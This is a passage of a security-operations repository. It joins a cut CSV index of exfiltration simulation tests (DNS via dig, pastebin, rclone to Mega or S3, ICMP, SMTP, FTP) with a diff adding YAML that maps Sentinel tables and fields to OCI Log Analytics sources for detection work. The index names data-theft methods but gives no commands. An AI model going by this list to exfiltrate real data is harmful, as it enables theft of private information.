(doh),c943d285-ada3-45ca-b3aa-7cd6500c6a48,powershell +exfiltration,T1048,Exfiltration Over Alternative Protocol,4,Exfiltrate Data using DNS Queries via dig,a27916da-05f2-4316-a3ee-feec67a437be,bash +exfiltration,T1567.003,Exfiltration Over Web Service: Exfiltration to Text Storage Sites,1,Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows),c2e8ab6e-431e-460a-a2aa-3bc6a32022e3,powershell +exfiltration,T1567.002,Exfiltration Over Web Service: Exfiltration to Cloud Storage,1,Exfiltrate data with rclone to cloud Storage - Mega (Windows),8529ee44-279a-4a19-80bf-b846a40dda58,powershell +exfiltration,T1567.002,Exfiltration Over Web Service: Exfiltration to Cloud Storage,2,Exfiltrate data with rclone to cloud Storage - AWS S3,a4b74723-5cee-4300-91c3-5e34166909b4,powershell +exfiltration,T1030,Data Transfer Size Limits,1,Data Transfer Size Limits,ab936c51-10f4-46ce-9144-e02137b2016a,sh +exfiltration,T1030,Data Transfer Size Limits,2,Network-Based Data Transfer in Small Chunks,f0287b58-f4bc-40f6-87eb-692e126e7f8f,powershell +exfiltration,T1048.003,Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,1,Exfiltration Over Alternative Protocol - HTTP,1d1abbd6-a3d3-4b2e-bef5-c59293f46eff,manual +exfiltration,T1048.003,Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,2,Exfiltration Over Alternative Protocol - ICMP,dd4b4421-2e25-4593-90ae-7021947ad12e,powershell +exfiltration,T1048.003,Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,3,Exfiltration Over Alternative Protocol - DNS,c403b5a4-b5fc-49f2-b181-d1c80d27db45,manual +exfiltration,T1048.003,Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,4,Exfiltration Over Alternative Protocol - HTTP,6aa58451-1121-4490-a8e9-1dada3f1c68c,powershell +exfiltration,T1048.003,Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,5,Exfiltration Over Alternative Protocol - SMTP,ec3a835e-adca-4c7c-88d2-853b69c11bb9,powershell +exfiltration,T1048.003,Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,6,MAZE FTP Upload,57799bc2-ad1e-4130-a793-fb0c385130ba,powershell +exfiltration,T1048.003,Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,7,Exfiltration Over Alternative Protocol - FTP - Rclone,b854eb97-bf9b-45ab-a1b5-b94e4880c56b,powershell +exfiltration,T1048.003,Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,8,Python3 http.server,3ea1f938-f80a-4305-9aa8-431bc4867313,sh diff --git a/observability-and-management/assets/oci-log-analytics-detections/config/mapping/_root.yaml b/observability-and-management/assets/oci-log-analytics-detections/config/mapping/_root.yaml new file mode 100644 index 000000000..439decd32 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/config/mapping/_root.yaml @@ -0,0 +1,14 @@ +version: 1 +table_shards: +- tables/identity.yaml +- tables/endpoint.yaml +- tables/cloud_azure.yaml +- tables/cloud_office.yaml +- tables/network.yaml +- tables/azure_as_is_custom.yaml +field_shards: +- fields/common.yaml +- fields/subject.yaml +- fields/process.yaml +- fields/office.yaml +- fields/network.yaml diff --git a/observability-and-management/assets/oci-log-analytics-detections/config/sentinel_oci_mapping.yaml b/observability-and-management/assets/oci-log-analytics-detections/config/sentinel_oci_mapping.yaml new file mode 100644 index 000000000..21077ac0a --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/config/sentinel_oci_mapping.yaml @@ -0,0 +1,1063 @@ +# Generated from config/mapping/*.yaml. Do not edit by hand. +# Run: python3 scripts/generate_mapping_config.py --export-compat + +tables: + SigninLogs: + category: identity + service: entra_signin + sources: + - Azure Entra ID Sign-in Logs + AADNonInteractiveUserSignInLogs: + category: identity + service: entra_signin + sources: + - Azure Entra ID Sign-in Logs + AuditLogs: + category: identity + service: entra_audit + sources: + - Azure Entra ID Audit Logs + imAuthentication: + category: identity + service: asim_authentication + sources: + - Azure Entra ID Sign-in Logs + - Windows Security Events + CiscoDuo: + category: identity + service: cisco_duo + sources: + - SOC Application Logs + CiscoISEEvent: + category: identity + service: cisco_ise + sources: + - SOC Application Logs + SecurityEvent: + category: endpoint + service: windows_security + sources: + - Windows Security Events + - Windows Event Security Logs + WindowsEvent: + category: endpoint + service: windows_event + sources: + - Windows Event System Logs + - Windows Security Events + Event: + category: endpoint + service: windows_event + sources: + - Windows Event System Logs + - Windows Security Events + Sysmon: + category: endpoint + service: sysmon + sources: + - SOC Windows Sysmon Logs + - Windows Sysmon Operational Logs + - Windows Sysmon Events + DeviceEvents: + category: endpoint + service: defender_endpoint + sources: + - SOC Windows Sysmon Logs + DeviceProcessEvents: + category: endpoint + service: defender_endpoint + sources: + - SOC Windows Sysmon Logs + - Windows Security Events + DeviceNetworkEvents: + category: endpoint + service: defender_endpoint + sources: + - SOC Sysmon Network Logs + DeviceLogonEvents: + category: endpoint + service: defender_endpoint + sources: + - Windows Security Events + - Windows Event Security Logs + DeviceFileEvents: + category: endpoint + service: defender_endpoint + sources: + - SOC Windows Sysmon Logs + DeviceImageLoadEvents: + category: endpoint + service: defender_endpoint + sources: + - SOC Windows Sysmon Logs + imProcess: + category: endpoint + service: asim_process + sources: + - SOC Windows Sysmon Logs + - Windows Security Events + imProcessCreate: + category: endpoint + service: asim_process + sources: + - SOC Windows Sysmon Logs + - Windows Security Events + imFileEvent: + category: endpoint + service: asim_file + sources: + - SOC Windows Sysmon Logs + CiscoSecureEndpoint: + category: endpoint + service: cisco_secure_endpoint + sources: + - SOC Windows Sysmon Logs + - Windows Security Events + CyberArkEPM: + category: endpoint + service: endpoint_privilege + sources: + - SOC Windows Sysmon Logs + - Windows Security Events + McAfeeEPOEvent: + category: endpoint + service: endpoint_security + sources: + - SOC Windows Sysmon Logs + - Windows Security Events + SentinelOne: + category: endpoint + service: endpoint_security + sources: + - SOC Windows Sysmon Logs + - Windows Security Events + Syslog: + category: endpoint + service: linux_syslog + sources: + - SOC Linux Syslog Logs + - Linux Secure Logs + TMApexOneEvent: + category: endpoint + service: endpoint_security + sources: + - SOC Windows Sysmon Logs + - Windows Security Events + Perf: + category: monitoring + service: kusto_perf + sources: + - SOC Application Logs + Alert: + category: monitoring + service: kusto_alert + sources: + - SOC Application Logs + - OCI Cloud Guard Problems + AzureActivity: + category: azure_cloud + service: azure_activity + sources: + - Azure Activity Logs + OCILogs: + category: azure_cloud + service: oci_audit + sources: + - OCI Audit Logs + AWSCloudTrail: + category: azure_cloud + service: aws_cloudtrail + sources: + - SOC Cloud Guard Logs + - SOC Application Logs + GCPAuditLogs: + category: azure_cloud + service: gcp_audit + sources: + - SOC Cloud Guard Logs + - SOC Application Logs + GCP_IAM: + category: azure_cloud + service: gcp_iam + sources: + - SOC Cloud Guard Logs + - SOC Application Logs + PaloAltoPrismaCloud: + category: azure_cloud + service: cloud_security_posture + sources: + - SOC Cloud Guard Logs + - SOC Application Logs + AzureDiagnostics: + category: azure_cloud + service: azure_diagnostics + sources: + - Azure Diagnostics Logs + - OCI Audit Logs + OfficeActivity: + category: m365 + service: office_activity + sources: + - Microsoft 365 Audit Logs + - Office 365 Audit Logs + - SOC Application Logs + CloudAppEvents: + category: m365 + service: cloud_app_events + sources: + - Microsoft 365 Cloud App Events + - SOC Application Logs + EmailEvents: + category: m365 + service: defender_email + sources: + - Microsoft Defender Email Logs + - Microsoft 365 Audit Logs + EmailUrlInfo: + category: m365 + service: defender_email + sources: + - Microsoft Defender Email Logs + - Microsoft 365 Audit Logs + UrlClickEvents: + category: m365 + service: defender_email + sources: + - Microsoft Defender Email Logs + - Microsoft 365 Audit Logs + MessagePostDeliveryEvents: + category: m365 + service: defender_email + sources: + - Microsoft Defender Email Logs + - Microsoft 365 Audit Logs + AlertInfo: + category: m365 + service: defender_alerts + sources: + - SOC Application Logs + ADOAuditLogs: + category: m365 + service: devops_audit + sources: + - SOC Application Logs + BoxEvents: + category: m365 + service: box_audit + sources: + - SOC Application Logs + GitHubAuditData: + category: m365 + service: github_audit + sources: + - SOC Application Logs + GWorkspaceActivityReports: + category: m365 + service: google_workspace + sources: + - SOC Application Logs + JiraAudit: + category: m365 + service: jira_audit + sources: + - SOC Application Logs + SecurityAlert: + category: m365 + service: security_alerts + sources: + - SOC Application Logs + SlackAudit: + category: m365 + service: slack_audit + sources: + - SOC Application Logs + Snowflake: + category: m365 + service: snowflake_audit + sources: + - SOC Application Logs + TrendMicroCAS: + category: m365 + service: cloud_app_security + sources: + - SOC Application Logs + Cloudflare: + category: network + service: waf + sources: + - SOC WAF Security Logs + - SOC Web Application Logs + ApacheHTTPServer: + category: network + service: web_server + sources: + - SOC WAF Security Logs + - SOC Web Application Logs + - SOC Load Balancer Access Logs + CiscoWSAEvent: + category: network + service: web_security + sources: + - SOC WAF Security Logs + - SOC Web Application Logs + - SOC Network Firewall Logs + Cisco_Umbrella: + category: network + service: dns_security + sources: + - SOC WAF Security Logs + - SOC Web Application Logs + - SOC Network Firewall Logs + GCPCloudDNS: + category: network + service: dns + sources: + - SOC WAF Security Logs + - SOC Web Application Logs + - SOC Network Firewall Logs + ImpervaWAFCloud: + category: network + service: waf + sources: + - SOC WAF Security Logs + - SOC Web Application Logs + - SOC Network Firewall Logs + NGINXHTTPServer: + category: network + service: web_server + sources: + - SOC WAF Security Logs + - SOC Web Application Logs + - SOC Load Balancer Access Logs + OracleWebLogicServerEvent: + category: network + service: web_server + sources: + - SOC WAF Security Logs + - SOC Web Application Logs + - SOC Load Balancer Access Logs + PaloAltoCDLEvent: + category: network + service: firewall + sources: + - SOC WAF Security Logs + - SOC Web Application Logs + - SOC Network Firewall Logs + TomcatEvent: + category: network + service: web_server + sources: + - SOC WAF Security Logs + - SOC Web Application Logs + - SOC Load Balancer Access Logs + DnsEvents: + category: network + service: dns + sources: + - SOC Windows Sysmon Logs + - Windows Sysmon Operational Logs + - SOC VCN Flow Logs + DNSQuery: + category: network + service: dns + sources: + - SOC Windows Sysmon Logs + - Windows Sysmon Operational Logs + CommonSecurityLog: + category: network + service: common_security + sources: + - SOC Network Firewall Logs + - OCI Network Firewall Logs + - SOC VCN Flow Logs + CommonSecurityLog_CL: + category: network + service: common_security + sources: + - SOC Network Firewall Logs + - OCI Network Firewall Logs + - SOC VCN Flow Logs + AADSignInEventsBeta: &id001 + category: azure_custom + service: sentinel_workspace_custom + sources: + - Azure Log Analytics Custom Logs + - SOC Application Logs + ADFSSignInLogs: *id001 + AGWFirewallLogs: *id001 + AIAgentsInfo: *id001 + AIShield: *id001 + ARGOS_CL: *id001 + ASimNetworkSessionSonicWallFirewall: *id001 + AWSGuardDuty: *id001 + AWSSecurityHubFindings: *id001 + AZFWApplicationRule: *id001 + AZFWFlowTrace: *id001 + AZFWIdpsSignature: *id001 + AZFWNetworkRule: *id001 + AZFWThreatIntel: *id001 + AZFWDnsQuery: *id001 + AlertEvidence: *id001 + Alerts_advisory: *id001 + Alerts_assets: *id001 + Alerts_bit_bucket: *id001 + Alerts_cloud_storage: *id001 + Alerts_compromised_endpoints_cookies: *id001 + Alerts_compromised_files: *id001 + Alerts_cyber_crime_forums: *id001 + Alerts_darkweb_data_breaches: *id001 + Alerts_darkweb_marketplaces: *id001 + Alerts_darkweb_ransomware: *id001 + Alerts_defacement_content: *id001 + Alerts_defacement_keyword: *id001 + Alerts_defacement_url: *id001 + Alerts_discord: *id001 + Alerts_docker: *id001 + Alerts_domain_expiry: *id001 + Alerts_domain_watchlist: *id001 + Alerts_flash_report: *id001 + Alerts_github: *id001 + Alerts_hacktivism: *id001 + Alerts_i2p: *id001 + Alerts_iocs: *id001 + Alerts_ip_risk_score: *id001 + Alerts_leaked_credentials: *id001 + Alerts_malicious_ads: *id001 + Alerts_mobile_apps: *id001 + Alerts_new_vulnerability: *id001 + Alerts_news_feed: *id001 + Alerts_osint: *id001 + Alerts_ot_ics: *id001 + Alerts_pastebin: *id001 + Alerts_phishing: *id001 + Alerts_physical_threats: *id001 + Alerts_postman: *id001 + Alerts_product_vulnerability: *id001 + Alerts_social_media_monitoring: *id001 + Alerts_ssl_expiry: *id001 + Alerts_stealer_logs: *id001 + Alerts_subdomains: *id001 + Alerts_suspicious_domains: *id001 + Alerts_telegram_mentions: *id001 + Alerts_tor_links: *id001 + Alerts_vulnerability: *id001 + Alerts_web_applications: *id001 + Anomalies: *id001 + Anvilogic_Alerts_CL: *id001 + AppServiceAntivirusScanAuditLogs: *id001 + Armorblox_CL: *id001 + Authomize_v2_CL: *id001 + BHEAttackPathsData_CL: *id001 + BehaviorAnalytics: *id001 + BitSightAlerts: *id001 + BitSightBreaches: *id001 + BitSightFindingsData: *id001 + BitSightGraphData: *id001 + Bitglass: *id001 + CBSLog: *id001 + CarbonBlackEvents_CL: *id001 + CarbonBlackNotifications_CL: *id001 + CiscoSEGEvent: *id001 + CiscoSecureEndpoint_CL: *id001 + CiscoSyslogUTD: *id001 + ClarotyEvent: *id001 + CognniIncidents_CL: *id001 + CommvaultAlerts_CL: *id001 + ContrastADRAttackEvents_CL: *id001 + ContrastADRIncidents_CL: *id001 + CopilotActivity: *id001 + CortexXDR_Incidents_CL: *id001 + CrowdStrikeFalconEventStream: *id001 + CyberArk_AuditEvents_CL: *id001 + CyberSixgill_Alerts_CL: *id001 + CyberpionActionItems_CL: *id001 + CyfirmaASCertificatesAlerts_CL: *id001 + CyfirmaASCloudWeaknessAlerts_CL: *id001 + CyfirmaASConfigurationAlerts_CL: *id001 + CyfirmaASDomainIPReputationAlerts_CL: *id001 + CyfirmaASDomainIPVulnerabilityAlerts_CL: *id001 + CyfirmaASOpenPortsAlerts_CL: *id001 + CyfirmaBIDomainITAssetAlerts_CL: *id001 + CyfirmaBIExecutivePeopleAlerts_CL: *id001 + CyfirmaBIMaliciousMobileAppsAlerts_CL: *id001 + CyfirmaBIProductSolutionAlerts_CL: *id001 + CyfirmaBISocialHandlersAlerts_CL: *id001 + CyfirmaCompromisedAccounts_CL: *id001 + CyfirmaDBWMDarkWebAlerts_CL: *id001 + CyfirmaDBWMPhishingAlerts_CL: *id001 + CyfirmaDBWMRansomwareAlerts_CL: *id001 + CyfirmaIndicators_CL: *id001 + CyfirmaSPEConfidentialFilesAlerts_CL: *id001 + CyfirmaSPEPIIAndCIIAlerts_CL: *id001 + CyfirmaSPESocialThreatAlerts_CL: *id001 + CyfirmaSPESourceCodeAlerts_CL: *id001 + CyfirmaVulnerabilities_CL: *id001 + CynerioEvent_CL: *id001 + Cyren_Indicators_CL: *id001 + D3SOARIncidents_CL: *id001 + DataminrPulseAlerts: *id001 + DataverseActivity: *id001 + DataverseSharePointSites: *id001 + DefendAuditData: *id001 + DeviceFileCertificateInfo: *id001 + DeviceInfo: *id001 + DeviceNetworkInfo: *id001 + DeviceRegistryEvents: *id001 + DeviceTvmInfoGathering: *id001 + DeviceTvmSecureConfigurationAssessment: *id001 + DeviceTvmSoftwareInventory: *id001 + DeviceTvmSoftwareVulnerabilities: *id001 + DeviceTvmSoftwareVulnerabilitiesKB: *id001 + DigitalGuardianDLPEvent: *id001 + DragosNotificationsToSentinel: *id001 + DuoSecurityTrustMonitor_CL: *id001 + DynatraceAttacks: *id001 + DynatraceProblems: *id001 + DynatraceSecurityProblems: *id001 + ESETPROTECT: *id001 + EgressDefend_CL: *id001 + EmailAttachmentInfo: *id001 + EmailPostDeliveryEvents: *id001 + Entities_Data_CL: *id001 + ExchangeAdminAuditLogs: *id001 + ExtraHopDetections: *id001 + FinanceOperationsActivity_CL: *id001 + FireworkV2_CL: *id001 + ForescoutHostProperties_CL: *id001 + Fortiweb: *id001 + GitHubAudit: *id001 + GitHubRepo: *id001 + GitLabAudit: *id001 + GoogleCloudSCC: *id001 + Guardian: *id001 + HackerViewLog: *id001 + Heartbeat: *id001 + IdentityDirectoryEvents: *id001 + IdentityInfo: *id001 + IdentityLogonEvents: *id001 + IdentityQueryEvents: *id001 + Illumio_Auditable_Events_CL: *id001 + Infoblox: *id001 + InfobloxCDC: *id001 + InfobloxCDC_SOCInsights: *id001 + InfobloxInsight: *id001 + Infoblox_dnsclient: *id001 + InformationProtectionLogs_CL: *id001 + JamfProtectThreatEvents: *id001 + JamfProtectUnifiedLogs: *id001 + KeeperSecurityEventNewLogs_CL: *id001 + KnowBe4Defend_CL: *id001 + LAQueryLogs: *id001 + LastPassNativePoller_CL: *id001 + LookoutEvents: *id001 + Lookout_CL: *id001 + MSBizAppsTerminatedEmployees: *id001 + MailGuard365_Threats_CL: *id001 + MessageEvents: *id001 + MessageUrlInfo: *id001 + MimecastAudit: *id001 + MimecastAudit_CL: *id001 + MimecastCG: *id001 + MimecastDLP: *id001 + MimecastDLP_CL: *id001 + MimecastSIEM_CL: *id001 + MimecastTTPAttachment: *id001 + MimecastTTPAttachment_CL: *id001 + MimecastTTPImpersonation: *id001 + MimecastTTPImpersonation_CL: *id001 + MimecastTTPUrl: *id001 + MimecastTTPUrl_CL: *id001 + MorphisecAlerts_CL: *id001 + NetBackupAlerts_CL: *id001 + Netclean_Incidents_CL: *id001 + NetskopeWebTransactions_CL: *id001 + NetskopeWebtxErrors_CL: *id001 + NetworkAccessTraffic: *id001 + NordPassEventLogs_CL: *id001 + OktaSSO: *id001 + OnePasswordEventLogs_CL: *id001 + OracleDatabaseAuditEvent: *id001 + PingFederateEvent: *id001 + PowerAutomateActivity: *id001 + ProofPointTAPClicksPermittedV2_CL: *id001 + ProofPointTAPMessagesDeliveredV2_CL: *id001 + ProofpointPOD: *id001 + PulseConnectSecure: *id001 + PurviewDataSensitivityLogs: *id001 + QualysHostDetection: *id001 + RSAIDPlus_AdminLogs_CL: *id001 + RadiflowEvent: *id001 + RecordedFutureIdentity_PlaybookAlertResults_CL: *id001 + RedCanaryDetections_CL: *id001 + Rubrik_Anomaly_Data_CL: *id001 + Rubrik_Events_Data_CL: *id001 + SAPBTPAuditLog_CL: *id001 + SAPETDAlerts_CL: *id001 + SAPETDInvestigations_CL: *id001 + SAPLogServ_CL: *id001 + SINECSecurityGuard_CL: *id001 + SOCPrimeAuditLogs_CL: *id001 + SOCRadarAuditLog_CL: *id001 + SOCRadar_Alarms_CL: *id001 + SQLEvent: *id001 + SailPointIDN_Events_CL: *id001 + SailPointIDN_Triggers_CL: *id001 + SalesforceServiceCloud: *id001 + Samsung_Knox_Audit_CL: *id001 + Samsung_Knox_Process_CL: *id001 + Samsung_Knox_System_CL: *id001 + Samsung_Knox_User_CL: *id001 + SecurityIncident: *id001 + SecurityNestedRecommendation: *id001 + SecurityRecommendation: *id001 + SecurityRegulatoryCompliance: *id001 + SenservaPro_CL: *id001 + Sonrai_Tickets_CL: *id001 + SophosXGFirewall: *id001 + SpyCloudBreachDataWatchlist_CL: *id001 + StorageBlobLogs: *id001 + StorageFileLogs: *id001 + SymantecEndpointProtection: *id001 + SymantecProxySG: *id001 + SymantecVIP: *id001 + TacitRed_Findings_CL: *id001 + TheomAlerts_CL: *id001 + ThreatIntelIndicators: *id001 + ThreatIntelligenceIndicator: *id001 + TrendMicro_XDR_WORKBENCH_CL: *id001 + UbiquitiAuditEvent: *id001 + VMConnection: *id001 + VMwareESXi: *id001 + VMware_CWS_DLPLogs_CL: *id001 + VMware_CWS_Weblogs_CL: *id001 + VMware_SDWAN_FirewallLogs_CL: *id001 + VMware_VECO_EventLogs_CL: *id001 + Vaikora_AgentSignals_CL: *id001 + Vaikora_SecurityAlerts_CL: *id001 + ValenceAlert_CL: *id001 + ValimailEnforceEvents_CL: *id001 + VectraDetections: *id001 + VeeamMalwareEvents_CL: *id001 + VeeamOneTriggeredAlarms_CL: *id001 + VeeamSecurityComplianceAnalyzer_CL: *id001 + VeeamSessions_CL: *id001 + Veeam_GetFinishedConfigurationBackupSessions: *id001 + Veeam_GetJobFinished: *id001 + Veeam_GetSecurityEvents: *id001 + VersasecCmsSysLogs: *id001 + W3CIISLog: *id001 + WireData: *id001 + XbowAssets_CL: *id001 + XbowFindings_CL: *id001 + ZNSegmentAudit: *id001 + ZPAEvent: *id001 + ZeroFoxAlertPoller_CL: *id001 + ZoomLogs: *id001 + _ASim_FileEvent: *id001 + _ASim_ProcessEvent: *id001 + _ASim_ProcessEvent_Create: *id001 + _ASim_RegistryEvent: *id001 + _Im_Dns: *id001 + _Im_FileEvent: *id001 + _Im_NetworkSession: *id001 + _Im_ProcessEvent: *id001 + _Im_WebSession: *id001 + afad_parser: *id001 + apifirewall_log_1_CL: *id001 + atlassian_beacon_alerts_CL: *id001 + AzureNetworkAnalytics_CL: *id001 + blacklens_CL: *id001 + corelight_conn: *id001 + corelight_conn_red: *id001 + corelight_dns: *id001 + corelight_dns_red: *id001 + corelight_files: *id001 + corelight_http: *id001 + corelight_smb_mapping: *id001 + corelight_smtp: *id001 + darktrace_model_alerts_CL: *id001 + datatable: *id001 + datawizaserveraccess_CL: *id001 + dsp_parser: *id001 + eset_CL: *id001 + fluentbit_CL: *id001 + http_proxy_oab_CL: *id001 + imRegistry: *id001 + imNetworkSession: *id001 + jamfprotectalerts_CL: *id001 + prancer_CL: *id001 + secRMM_CL: *id001 + test: *id001 + vCenter: *id001 +fields: + Activity: '''Event Type''' + ActivityType: '''Event Type''' + ActivityDisplayName: Operation + AppDisplayName: '''Application Name''' + Application: '''Application Name''' + ActionType: Action + AdditionalFields: Properties + Computer: Entity + CounterName: '''Metric Name''' + CounterValue: '''Metric Value''' + Description: Description + DvcAction: Action + DeviceAction: Action + DeviceEventClassID: '''Event ID''' + DeviceProduct: '''Application Name''' + DeviceVendor: Provider + DeviceId: Entity + EventCreationTime: Time + EventMessage: Description + EventName: '''Event Type''' + EventResult: Status + EventResultDetails: Status + EventEndTime: Time + EventSource: Provider + EventSubType: '''Event Type''' + EventType: '''Event Type''' + EventVendor: Provider + LogSeverity: Severity + Operation: Operation + OperationName: Operation + QueryName: '''Query Name''' + Query: '''Query Name''' + Reason: Description + Resource: '''Resource Name''' + ResourceGroup: '''Resource Group''' + ResourceId: '''Resource ID''' + ResourceProvider: '''Resource Type''' + Result: Status + ResultDescription: Description + Status: Status + SourceItemName: '''Target Object''' + ObjectDN: '''Target Object''' + ObjectName: '''Target Object''' + AttributeLDAPDisplayName: '''Object Type''' + EventData: '''Original Log Content''' + ThreatCategory: '''Threat Category''' + ThreatActionTaken: Action + ThreatName: '''Threat Name''' + ThreatType: '''Threat Category''' + ThreatTypes: '''Threat Category''' + Title: '''Threat Name''' + TimeGenerated: Time + Timestamp: Time + ErrorMessage: Description + _ResourceId: '''Resource ID''' + data_eventName_s: '''Event Type''' + Account: User + AccountName: User + Actor: User + AccountUpn: '''User Name''' + DstUserName: '''Target User Name''' + DstUsername: '''Target User Name''' + ActorUsername: '''User Name''' + ServicePrincipalName: '''Resource Name''' + SrcUserName: '''User Name''' + SrcUsername: '''User Name''' + SourceLogin: '''User Name''' + SubjectUserName: '''Subject User Name''' + SubjectAccount: '''Account Name''' + SubjectDomainName: '''Target Domain Name''' + SubjectLogonId: '''Logon ID''' + SubjectUserSid: '''User ID (hashed)''' + Target: '''Target Object''' + TargetResource: '''Resource Name''' + TargetUserName: '''Target User Name''' + TargetUsername: '''Target User Name''' + TargetUserId: '''Target User Name''' + UPN: '''User Name''' + UPNSuffix: '''Target Domain Name''' + User: User + UserName: '''User Name''' + UserPrincipalName: '''User Name''' + ObjectItemName: '''Target Object''' + CommandLine: '''Command Line''' + EventID: '''Event ID''' + EventId: '''Event ID''' + FileName: '''Process Name''' + FilePath: '''Target Filename''' + FolderPath: '''Target Filename''' + Hash: Hashes + MD5: Hashes + SHA1: Hashes + SHA256: Hashes + Image: '''Process Name''' + InitiatingProcessCommandLine: '''Command Line''' + InitiatingProcessFileName: '''Parent Process Name''' + InitiatingProcessParentFileName: '''Parent Process Name''' + InitiatingProcessFolderPath: '''Parent Process Name''' + InitiatingProcessAccountDomain: '''Target Domain Name''' + InitiatingProcessAccountName: '''Account Name''' + InitiatingProcessSHA256: Hashes + InitiatingProcessId: '''Process ID''' + LogonType: '''Logon Type''' + Logon_Type: '''Logon Type''' + ParentImage: '''Parent Process Name''' + ParentProcessName: '''Parent Process Name''' + Process: '''Process Name''' + ProcessId: '''Process ID''' + ProcessCommandLine: '''Command Line''' + ProcessName: '''Process Name''' + Exe: '''Process Name''' + LocalFile: '''Target Filename''' + ActingProcessCommandLine: '''Command Line''' + ActingProcessName: '''Parent Process Name''' + ActingProcessSHA256: Hashes + ActingProcessFileInternalName: '''Parent Process Name''' + SrcFileName: '''Target Filename''' + SourceFileName: '''Target Filename''' + TargetFileMD5: Hashes + TargetFileName: '''Target Filename''' + TargetFilePath: '''Target Filename''' + TargetFileSHA1: Hashes + TargetFileSHA256: Hashes + UserId: '''User ID (hashed)''' + ClientAppUsed: '''Application Name''' + MailboxOwnerUPN: '''User Name''' + OfficeWorkload: '''Application Name''' + OrganizationName: '''Resource Name''' + ClientInfoString: '''User Agent''' + UserType: Type + EmailDirection: Direction + RecipientEmailAddress: '''Target User Name''' + SenderFromAddress: '''User Name''' + ClientRequestHost: '''Destination Hostname''' + ClientRequestMethod: '''HTTP Request Method''' + ClientRequestPath: '''URL Path''' + ClientRequestURI: '''Request URL''' + ClientRequestUserAgent: '''User Agent''' + ClientIP: '''Client IP''' + DestinationIpAddress: '''Destination IP''' + DstIpAddr: '''Destination IP''' + DstIP: '''Destination IP''' + DstHostname: '''Destination Hostname''' + DestinationHostName: '''Destination Hostname''' + DestinationHostname: '''Destination Hostname''' + DestinationIP: '''Destination IP''' + DestinationIp: '''Destination IP''' + DestinationPort: '''Destination Port''' + Dvc: '''Host Name''' + DvcHostname: '''Host Name''' + DvcIpAddr: '''Source IP''' + DeviceName: '''Host Name (Server)''' + FileSize: '''Network Bytes Out''' + HttpRequestHeaderHost: '''Destination Hostname''' + HttpStatusCode: '''HTTP Status Code''' + HostName: '''Host Name''' + HttpUserAgent: '''User Agent''' + HttpRequestMethod: '''HTTP Request Method''' + IPAddress: '''Source IP''' + IpAddress: '''Source IP''' + RequestMethod: '''HTTP Request Method''' + RequestURL: '''Request URL''' + RequestUrl: '''Request URL''' + RemoteIP: '''Destination IP''' + RemoteUrl: '''Request URL''' + RemotePort: '''Destination Port''' + ReportId: '''Resource ID''' + SourceIPAddress: '''Source IP''' + SourceIpAddress: '''Source IP''' + SourceIP: '''Source IP''' + SourceIp: '''Source IP''' + SourcePort: '''Source Port''' + SrcIP: '''Source IP''' + SrcIpAddr: '''Source IP''' + URL: '''Request URL''' + Url: '''Request URL''' + UrlCategory: '''Threat Category''' + UrlOriginal: '''Request URL''' + UserAgent: '''User Agent''' + HttpUserAgentOriginal: '''User Agent''' + WAFAction: '''WAF Action''' + WAFRuleID: '''Rule Key''' + WAFRuleMessage: '''Attack Type''' + DstPortNumber: '''Destination Port''' + data_request_headers_oci_original_url_s: '''Request URL''' +field_roles: + Activity: resource + ActivityType: resource + ActivityDisplayName: resource + AppDisplayName: resource + Application: resource + ActionType: resource + AdditionalFields: resource + Computer: resource + CounterName: resource + CounterValue: resource + Description: resource + DvcAction: resource + DeviceAction: resource + DeviceEventClassID: resource + DeviceProduct: resource + DeviceVendor: resource + DeviceId: resource + EventCreationTime: time + EventMessage: resource + EventName: resource + EventResult: resource + EventResultDetails: resource + EventEndTime: time + EventSource: resource + EventSubType: resource + EventType: resource + EventVendor: resource + LogSeverity: resource + Operation: resource + OperationName: resource + QueryName: resource + Query: resource + Reason: resource + Resource: resource + ResourceGroup: resource + ResourceId: resource + ResourceProvider: resource + Result: resource + ResultDescription: resource + Status: resource + SourceItemName: resource + ObjectDN: target + ObjectName: target + AttributeLDAPDisplayName: resource + EventData: resource + ThreatCategory: resource + ThreatActionTaken: resource + ThreatName: resource + ThreatType: resource + ThreatTypes: resource + Title: resource + TimeGenerated: time + Timestamp: time + ErrorMessage: resource + _ResourceId: resource + data_eventName_s: resource + Account: subject + AccountName: subject + Actor: subject + AccountUpn: subject + DstUserName: target + DstUsername: target + ActorUsername: subject + ServicePrincipalName: subject + SrcUserName: subject + SrcUsername: subject + SourceLogin: subject + SubjectUserName: subject + SubjectAccount: subject + SubjectDomainName: subject + SubjectLogonId: subject + SubjectUserSid: subject + Target: target + TargetResource: target + TargetUserName: target + TargetUsername: target + TargetUserId: target + UPN: subject + UPNSuffix: subject + User: subject + UserName: subject + UserPrincipalName: subject + ObjectItemName: target + CommandLine: initiator + EventID: resource + EventId: resource + FileName: initiator + FilePath: initiator + FolderPath: initiator + Hash: hash + MD5: hash + SHA1: hash + SHA256: hash + Image: initiator + InitiatingProcessCommandLine: initiator + InitiatingProcessFileName: initiator + InitiatingProcessParentFileName: initiator + InitiatingProcessFolderPath: initiator + InitiatingProcessAccountDomain: initiator + InitiatingProcessAccountName: initiator + InitiatingProcessSHA256: hash + InitiatingProcessId: initiator + LogonType: resource + Logon_Type: resource + ParentImage: initiator + ParentProcessName: initiator + Process: initiator + ProcessId: initiator + ProcessCommandLine: initiator + ProcessName: initiator + Exe: initiator + LocalFile: resource + ActingProcessCommandLine: initiator + ActingProcessName: initiator + ActingProcessSHA256: hash + ActingProcessFileInternalName: initiator + SrcFileName: initiator + SourceFileName: initiator + TargetFileMD5: hash + TargetFileName: target + TargetFilePath: target + TargetFileSHA1: hash + TargetFileSHA256: hash + UserId: hash + ClientAppUsed: resource + MailboxOwnerUPN: subject + OfficeWorkload: resource + OrganizationName: resource + ClientInfoString: network + UserType: subject + 